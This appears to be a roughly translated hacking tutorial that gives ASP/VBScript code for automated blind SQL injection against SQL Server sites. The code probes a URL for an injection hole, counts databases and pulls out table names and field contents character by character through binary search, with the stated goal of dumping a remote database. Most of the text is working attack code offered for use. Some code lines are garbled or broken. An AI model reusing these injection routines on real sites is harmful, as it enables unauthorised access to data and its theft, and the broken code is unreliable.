After reading the SQL Injection script, I was deeply inspired. However, some problems in the article still need to be solved:
1. dictionary support problems: If the dictionary information is not comprehensive enough, or the dictionary does not contain all the information in our database, such as the database table name and field name, our injection operations are just a waste of time.
2. Lack of support for Chinese characters: many friends are now using Chinese characters as their usual passwords and accounts, and the frequency of Chinese characters is very high.
3. The Access version does not support SQL Server.
Next, go to the topic. The purpose of this article is to implement automatic detection of all database names, table names, field names, and data information in SQL Server. The following problems are highlighted:
1. How to quickly determine the number of databases in SQL Server;
2. How to quickly determine the number of data tables in a specific database;
3. How to quickly find the names of all data tables in a specific database;
4. How to quickly find the number and name of all fields in a specific data table;
After the preceding problem is solved, all data information in the data table can be detected. Even if you want to reconstruct the information in the remote SQL server database locally, as long as you have enough time, the answer is OK.
Vulnerability Detection
I will not talk much about the principle. I just give my implementation functions. By the way, this article uses ASP to implement all the code. Let's take a look at the body code to implement the detection information and determine whether there is a vulnerability:
Function Find_Hole (iUrl)
Dim turl, Body1, Body2, Body3, body4, Status1, Status2, Status3, status4
Call xmlPost (iUrl, Status1, Body1)
Turl = iUrl &"'"
Call xmlPost (iUrl, Status2, Body2)
Turl = iUrl & "and 1 = 1"
Call xmlPost (tUrl, Status3, Body3)
Turl = iUrl & "and 1 <> 1"
Call xmlPost (tUrl, Status4, Body4)
If Status1 <> 500 and Status3 <> 500 and Status4 = 500 and Body1 <> Body4 and Body3 <> Body4 then
Find_Hole = true
Else
Find_Hole = False
End if
End Function
The Find_Hole (iUrl) function is used to determine whether the test address has an injection vulnerability and return the remote host feedback through ByRef reference. The body is the feedback from the remote host, and the status is the page return status. You can reference them in the program and design your own judgment function.
The Find_Hole (iUrl) function references the following two functions:
Sub xmlPost (iUrl, ByRef Status, ByRef Body)
Dim xPost
On Error Resume Next
Set xPost = CreateObject ("Microsoft. XMLHTTP ")
XPost. open "POST", iUrl, false
XPost. Send
Status = xPost. Status
Body = bytes2BSTR (xPost. responseBody)
Set xPost = Nothing
End Sub
Function bytes2BSTR (vIn)
'The function can display Chinese properly.
Dim strReturn, I, ThisCharCode, NextCharCode
StrReturn = ""
For I = 1 To LenB (vIn)
ThisCharCode = AscB (MidB (vIn, I, 1 ))
If ThisCharCode <& H80 Then
StrReturn = strReturn & Chr (ThisCharCode)
Else
NextCharCode = AscB (MidB (vIn, I + 1, 1 ))
StrReturn = strReturn & Chr (CLng (ThisCharCode) * & H100 + CInt (NextCharCode ))
I = I + 1
End If
Next
Bytes2BSTR = strReturn
End Function
Determine the number of databases
Here we need to use the data table "master. dbo. sysdatabases" to implement the function as follows:
Function Get_DB_Num ()
Dim DBMinNum, DBMaxNum
DBMinNum = 5' minimum number of databases in SQL Server. Because the first few databases are System databases, set this parameter to 5.
DBMaxNum = 50' maximum number of databases in SQL Server. You can change it by yourself.
CheckDBNum = "and (select count (*) from master. dbo. sysdatabases)> [N]"
Get_DB_Num = Get_Len (iUrl & CheckDBNum, DBMinNum, DBMaxNum)
End function
The following describes the length judgment function Get_len ():
Function Get_Len (iUrl, minlen, maxlen)
'Prerequisites: injection vulnerability exists
If ReturnOk (Replace (iUrl, "[N]", maxlen) then Get_Len =-1 'the actual length is greater than the maximum preset length and returns-1.
Exit function
End if
If not ReturnOk (Replace (iUrl, "[N]", minlen-1) then Get_Len =-2 'actual length less than minimum preset length returns-2.
Exit function
End if
If maxlen-minlen = 1 then
If ReturnOk (Replace (iUrl, "[N]", (maxlen + minlen)/2) then
Get_Len = maxlen
Else
Get_Len = minlen
End if
Exit function
End if
Midlen = int (minlen + maxlen)/2)
If ReturnOk (Replace (iUrl, "[N]", Midlen) then Get_len = Get_Len (iUrl, midlen, maxlen)
Else
Get_len = Get_Len (iUrl, minlen, midlen)
End if
End Function
This function uses a half-fold algorithm to quickly narrow down the judgment scope. It is widely used in this article. As long as an appropriate query condition is constructed, unexpected gains will occur. For example, to judge the Unicode encoding of Chinese characters, it only needs 16 judgments between 0 and, you will surely get the unicode code for a specific Chinese character!
The ReturnOk function in the program is used to determine the return status of the remote host, and the page returns normal to true. The Code is as follows:
Function ReturnOK (iUrl)
Dim iPost
On Error Resume Next
Set iPost = CreateObject ("Microsoft. XMLHTTP ")
IPost. open "POST", iUrl, false
IPost. Send
If iPost. Status <> 500 then
ReturnOk = True
Else
ReturnOk = False
End if
Set iPost = Nothing
End Function
In fact, the ReturnOK function simplifies the above xmlPost process. You can compile your own return judgment function based on the actual situation.
Determine Database Name
In the "master. dbo. sysdatabases" table, the dbid and name fields record all database names in SQL Server. The dbid range is 1 ~ Total number of databases. The name field records the database name information. The implementation functions are as follows:
Function Get_DBName (iUrl, dbid)
Dim MinLen, MaxLen
MinLen = 1' minimum Database Name Length.
MaxLen = 50' Maximum length of the database name.
Get_DBName = GetFieldValue (iurl, "master. dbo. sysdatabases", "name", "dbid", dbid, MinLen, MaxLen)
End Function
The GetFieldValue function is used to obtain the information of a field with a specific ID value in a given data table. Note: The character processing functions in SQL are different from those in Access. See the following table:
Access SQL Server description
Asc (character) unicode (character) returns the encoding of a character
Chr (number) nchar (number) is opposite to asc, Return Characters Based on number encoding
Mid (string, N, L)
Substring (string, N, L)
Returns a substring of L from N characters, that is, a string between N and N + L.
The Get_Field_Name function is a simulation of the specific implementation steps of information acquisition. The function uses the Get_Len (iUrl, 65535) function. Because the Chinese characters in SQL are encoded in Unicode, the range is [0-]. The program uses Chinese characters to guess. For details, see my other article "Chinese Characters in SQL automatic injection". The following is the detailed code:
Function GetFieldValue (iUrl, TableName, FieldName, PrimaryKey, PKValue, minlen, maxlen)
'Tablename is the name of the table to be guessed.
'Fieldname is the name of the field to be guessed.
'Primarykey primary key name.
'Pkvalue primary key value.
Dim checkLen, flen, checkfieldvalue
CheckLen = "and 1 = (select count (*) from [TABLE] Where [IDN] = [ID] and Len ([FN])> [N])"
CheckLen = Replace (CheckLen, "[TABLE]", TableName)
CheckLen = Replace (CheckLen, "[FN]", FieldName)
CheckLen = Replace (CheckLen, "[IDN]", PrimaryKey)
CheckLen = Replace (CheckLen, "[ID]", PKValue)
FLen = Get_Len (iUrl & CheckLen, minlen, maxlen)
CheckFieldValue = "and 1 = (select count (*) from [TABLE] where [IDN] = [ID] and unicode (substring ([FN], [POS], 1)> [N])"
CheckFieldValue = Replace (CheckFieldValue, "[TABLE]", TableName)
CheckFieldValue = Replace (CheckFieldValue, "[FN]", FieldName)
CheckFieldValue = Replace (CheckFieldValue, "[IDN]", PrimaryKey)
CheckFieldValue = Replace (CheckFieldValue, "[ID]", PKValue)
GetFieldValue = Get_Field_Name (iUrl & CheckFieldValue, Flen)
End Function
Function Get_Field_Name (iUrl, Flen)
Dim conn, I, rs, ch, SQL, result
Result = ""
Set conn = GetConnection (server. MapPath ("UnicodeMap. mdb "),"")
For I = 1 To Flen
Ch = Get_Len (Replace (iUrl, "[POS]", I)
SQL = "select chr from GB18030 where DU =" & ch
Set rs = get_rs (conn, SQL, 1)
If rs. recordcount = 1 then
Result = result & rs (0)
Else
Result = result & "& #" & ch
End if
Rs. close
Set rs = nothing
Next
Conn. close
Set conn = nothing
Get_Field_Name = result
End Function
Querying data tables in a specific database
Here, the Database name ". dbo. dbo. sysobjects" is used, and the database name ". dbo. dbo. sysobjects" contains three fields: xtype, id, and name. You can obtain the number of user data tables by specifying the query condition xtype = 'u. To guess the data table name, we can use the id and name fields. The name field records the names of the data tables that we are most concerned about. To locate a specific record in the data table "database name. dbo. dbo. sysobjects", we have to use the id field. However, because the values in the id field are generally relatively large, the number is more than million. If you judge by listing each id value, if time permits, it is certainly feasible, I just don't have the patience: imagine that it would take an hour to judge an id value for hundreds of millions of times? One day? A week? If you get all the information, how long does it take?